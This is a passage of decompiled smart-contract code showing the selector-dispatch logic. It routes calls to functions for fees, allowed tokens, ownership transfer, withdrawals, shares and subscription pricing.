                } else if (0xbc35ddcd == v0) {
                    0xbc35ddcd();
                } else if (0xbc39b5ae == v0) {
                    0xbc39b5ae();
                } else {
                    require(0xca0ca2e1 == v0);
                    0xca0ca2e1();
                }
            } else if (0xcdcf70ec == v0) {
                0xcdcf70ec();
            } else if (0xd6e6eb9f == v0) {
                protocolFeePercent();
            } else if (0xe744092e == v0) {
                allowedTokens(address);
            } else {
                require(0xe79767af == v0);
                disallowToken(address);
            }
        } else if (0xf6416ef6 > v0) {
            if (0xe9ccf3a3 == v0) {
                0xe9ccf3a3();
            } else if (0xee976de4 == v0) {
                0xee976de4();
            } else if (0xf2fde38b == v0) {
                transferOwnership(address);
            } else {
                require(0xf3f43703 == v0);
                pendingWithdrawals(address);
            }
        } else if (0xf6416ef6 == v0) {
            0xf6416ef6();
        } else if (0xf9931be0 == v0) {
            sharesSupply(address);
        } else if (0xfbe53234 == v0) {
            setFeeDestination(address);
        } else if (0xfc59a6be == v0) {
            0xfc59a6be();
        } else {
            require(0xfcf3763d == v0);
            setSubscriptionPrice(uint256,uint256);
        }
    }
}

 

댓글